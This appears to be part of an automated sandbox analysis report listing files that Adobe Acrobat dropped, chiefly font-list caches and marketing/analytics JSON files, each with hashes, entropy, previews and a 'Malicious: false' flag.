SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6720

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.340556312427912
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJM3g98kUwPeUkwRe9:YvXKXuTgKNyYpW7nMGMbLUkee9
MD5:	290C04956B866D340AFABCB964027DE5
SHA1:	7EA9B738C3F04907A047260AFC5D4B2448903648
SHA-256:	52B76C4AF8F931C9BA05A35985E2CFC4ADFCEC14F9CDF8E5156256BB054909C3
SHA-512:	B966A5914B8D01E01176CEB79EB77509EA321FA1AEC4C0861E8586BFBB87255F767FF611894DD266DE5443907095A019085F5A3C18ADBED8BCC1A41787F7BBBC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2769094976720075
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJfBoTfXpnrPeUkwRe9:YvXKXuTgKNyYpW7nMGWTfXcUkee9
MD5:	DA812FF6B2EFEC80E2D00935579D8A89
SHA1:	6F0948F32C19DBC90CEDEF12BDB3C4D9A34E570F
SHA-256:	9607E05203B640DB156C147EF453220FBD03EF5CCF1FEBE87E95839DDFE98456
SHA-512:	B1FF7311894640E239340ADA7CF1A02CBFA0155868DB29C51776355E0FBFE751CE12D1D0E68D54C33CA7F7646AF65C3A2FD85AC2177194FD82E98531821A3AF8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.256927214488366
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJfBD2G6UpnrPeUkwRe9:YvXKXuTgKNyYpW7nMGR22cUkee9
MD5:	4DAEC0140807E127B2EC0D2593AAD926
SHA1:	813DED67E3AE7DB89C90383E8BB4ED93B195E2A5
SHA-256:	39F6FAA97E2DDD9F848A2FD97B468D2F9B2CBA0DDB8E2E973D98C72332ECB8D5
SHA-512:	3C0FF42E6BF92FB19689AB5A6FD7C9246970314A564E26C9E83DB1E3D824048D82940ABE1CE44323FB5AC09FFFF300CB3A9B13DA2DE0B01C6FF1ED52EF9D7EC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.318648941875208
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJfPmwrPeUkwRe9:YvXKXuTgKNyYpW7nMGH56Ukee9
MD5:	9B8DA989CDC4D49464759D2186D99D00
SHA1:	A1DB7E86D790F0FBAD6AC3F26D9AE0AE83F86364
SHA-256:	762510FBA7A87E425A8675EEEE76C9AEE21A5195D9E79AD410FAE1718639DA51
SHA-512:	FBD7C0D66145D5388ABB8F8EB1D601FF296585820647DCA86FC651D419ED9ED31EE7A1522EF8B3D6E472A8837E9B5FB2DD5F7228C3DFEB8691E8C1C5878E24B1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689636306830136
Encrypted:	false
SSDEEP:	24:Yv6XEXinppLgE9cQx8LennAvzBvkn0RCmK8czOCCSbr:Yvcnphgy6SAFv5Ah8cv/f
MD5:	67E279EF0872A69D73CFA8B4762082CC
SHA1:	437A9A54C25B9047AE5407002EE94B49B9FD9635
SHA-256:	62326477CD7DC09E7329EFD109B187E2C5F3CA9D25FEA33CC0D5EC2FE7147855
SHA-512:	C0944A75B84301B55DC2D3EC9376A73FB0E852A230ADA5CE746AD902C0B84DE98B10FE5DCF5B4CE2634A3458BE15BE976C20A0FDC285577258312CEE26504EB6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2634572757236615
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJf8dPeUkwRe9:YvXKXuTgKNyYpW7nMGU8Ukee9
MD5:	30690D264F276E884E9411A33CB19ECA
SHA1:	45C72BD2083A9AA60F9E68375AE0E20A32F7E012
SHA-256:	573C5EC026A1BEC0F9C6429D8304E0B946CE68DBF6D90486CF072E23B4B012D3
SHA-512:	67B4870EB7CE17C29D77109A1B567C5AF16296DDF30A38BC3158E5ED5F3819EAC475389BEEFE0B1EA2FCF5796A207D50D2A0374FEA4541D4890140C4BD919AEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.264271328412869
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJfQ1rPeUkwRe9:YvXKXuTgKNyYpW7nMGY16Ukee9
MD5:	EBE65DD05230C8F617CBEC6630229293
SHA1:	F93FBE5C904D68004F86848C416AF8004989C95F
SHA-256:	AE25E390DB4DCE2CFEB27F4870D93C173D32F1D9E2C91BE6BF9250F9964AC226
SHA-512:	887D9F9802D657474F909249715EB76B621DFBDA08FDCBF72F675829488F36C870218D3113E96B45958BAFB16B402560C15B9CF5EB33E503D3BAF8F15C7898D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.28392365052502
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJfFldPeUkwRe9:YvXKXuTgKNyYpW7nMGz8Ukee9
MD5:	A60C430FE95B23E8C20937B95C65F94B
SHA1:	FA0BE7BC4B385D4953F9143A7AFA1E9A857337F7
SHA-256:	05D2FBA65C8E31B19A01EEF4E48C112595AAFDC225B2BB0B15E989086BABB3DE
SHA-512:	1C731CC9FC55DB9BF7F57B206D1F55FEF7ADA5F03BF2C0ED774B321B7D5A49FDE129E1FDFBDFFB1464BD972B7F7F583A0D2BEF3C92F294C77B8BA5253FE8E140
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.289803225662283
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJfzdPeUkwRe9:YvXKXuTgKNyYpW7nMGb8Ukee9
MD5:	66F3972A1878B258BA61EDCBDB6B9DD6
SHA1:	72774ED2548C16E38465A6A1D67A22306D99A35A
SHA-256:	94F55F0C38FF5EDE8DB769C7F6BEEFD431B8D4C0E703A8755D7FEA7530C7B16E
SHA-512:	58A6316D8668BC477AAEF6EFF6DA861072D7A402F9E3B1157EC87045D5DD7C2ADC8BD63064D845504611D5E9F35321DC3090A584C7A85D6C0FC5A17D8EA0D6E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.269833257807811
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJfYdPeUkwRe9:YvXKXuTgKNyYpW7nMGg8Ukee9
MD5:	278B4B0915718DD9BC70C8791E50ECFF
SHA1:	3366D7FDC476B9991B987F649AD98FE7FE45B25E
SHA-256:	A6F0E0DD5A23024EE9A6D3957328D9C6423B27D4097221293DF47B43E044C74F
SHA-512:	FF2921A5914E9D994856B3FE9FA36BB63FEB1B149579C0FAC4E16E7800ED56494538A4ED87DB2EC8C1F21804F8E5C4AB5C2453CAC42C783E53B4D4B6FBB8E100
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.256201367004285
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJf+dPeUkwRe9:YvXKXuTgKNyYpW7nMG28Ukee9
MD5:	9690B3DBE05369679B6C841C0CE769C1
SHA1:	88CDF49F00FAB073FCE407FC2DFC3105ABA1E1C5
SHA-256:	B90F2A8633414400BF31426C9D3F91B76C33E8C3C946D4644C5287FA4CB4DCF1
SHA-512:	3E78DA31DCD97E9222AB966317B2BFF81D67D4049BC4A6C0A2B2F9A12A413A93F81F5DB6287DE0B4E5F6C21069ECC2BE950632C1B23DCFE6D866D4B9F3B20AFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.253587687043132
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJfbPtdPeUkwRe9:YvXKXuTgKNyYpW7nMGDV8Ukee9
MD5:	D9B9C537381A4BA158690205132A342C
SHA1:	B6AAE641B34A8E94BD2FE3C6471148FEEE743E6F
SHA-256:	CEAD9DCF56FFAE203B9B76817F65BE4D75C6B4A9B4F3F2B053FC0EED2607E03F
SHA-512:	F68C046FD3711962F0100B9C4EFDF9439DEC011B18B70AE2627460DA6A6ABB6D37B5710E3CA6E1E7F1109264247C5BF18660FD32140BD5B6320EF129836B27A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.254843353565086
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJf21rPeUkwRe9:YvXKXuTgKNyYpW7nMG+16Ukee9
MD5:	9B4A740EFA629ED876781E5F3D90448F
SHA1:	E6449AED2E3EEB3397A3E82F03324DF23297AA48
SHA-256:	BB8BFB1F5DDAE022B8BCEAB14C1480EE9152DE7260870CE1282598C9413849A8
SHA-512:	7E4671DD3A97C16E00E384662E06E78C1FF68AC024DF87230CD1DBDD439B2307B9613D656169BD363BB96170FA6EF5499BCBF3B15F9B3AC995B07535A2F12648
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661394733022114
Encrypted:	false
SSDEEP:	24:Yv6XEXinZamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSbr:YvcnlBgkDMUJUAh8cvMf
MD5:	1A67776E8C5811A2EF214E73FE09B39B
SHA1:	643A1084E505E477FF5D3F7D3EB8095A5CD75DC9
SHA-256:	099B9B31AD2E6660E9B41A96180FFDBE1F72A2B14EDDF03EE648C21D4B10051D
SHA-512:	C0612F85969F61787BE98777BACA9DB8923A98F50CE4905BBB4B730CDE8127DE16C7AB8FE76F413085BD3D7855E11E0A45D255788E7D700BCA69D30487EBFCCF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2309140779402545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJfshHHrPeUkwRe9:YvXKXuTgKNyYpW7nMGUUUkee9
MD5:	3AC877B08297568B69C147B33DE7392A
SHA1:	EC136B3E10A348ED568E8197B78D4BD296E5A1E8
SHA-256:	30434B2B32011B790BCB5451CC8F4CD7C5BDA2BA21AFD9B0981A271F55F0BDAB
SHA-512:	B8E0E4BC63E1C3C9D88DDC55A83630111706C2F55EF2CED84C81775EDC4B482AEBC86C9FE61921FF5C6972EC1B11E89EE0B5AC0896D1BCA98366350495EE198E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.244276452553125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXuTVdcKN7+FIbRI6XVW7+0Y8joAvJTqgFCrPeUkwRe9:YvXKXuTgKNyYpW7nMGTq16Ukee9
MD5:	DD4DEA993E64B7C12417A415C8EC4BF2
SHA1:	5261A4ECC8BD33886DD1BDF8AA6E3A6D310CFF05
SHA-256:	A6A3B5CC57AA911BD39AFF2ED65FDAE9CF06F5178FB9A3A7BA3760E20C18E323
SHA-512:	07AE31FDB717539A5C99CC07D0C044FB3892A131C01FFE9013C5340D46389C1CC1F94ABBAE19C960DD8AD9BAA6F56BFAF6A184D9E54E38D733209E3E9CDDA4F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"3b18ae18-7e9e-4b17-8b35-908a45f42dfe","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736737112232,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148315315834297
Encrypted:	false
SSDEEP:	24:YuEnwaweWayM5eiCqebFNilgjqVj0Sg5+9M2H2LSKCvB3/Ee8uj5H699eFX4/uzj:YuUoFvqZs+uC0O/4y5699EH
MD5:	8653C31446694D5D6E41B705C5E06093
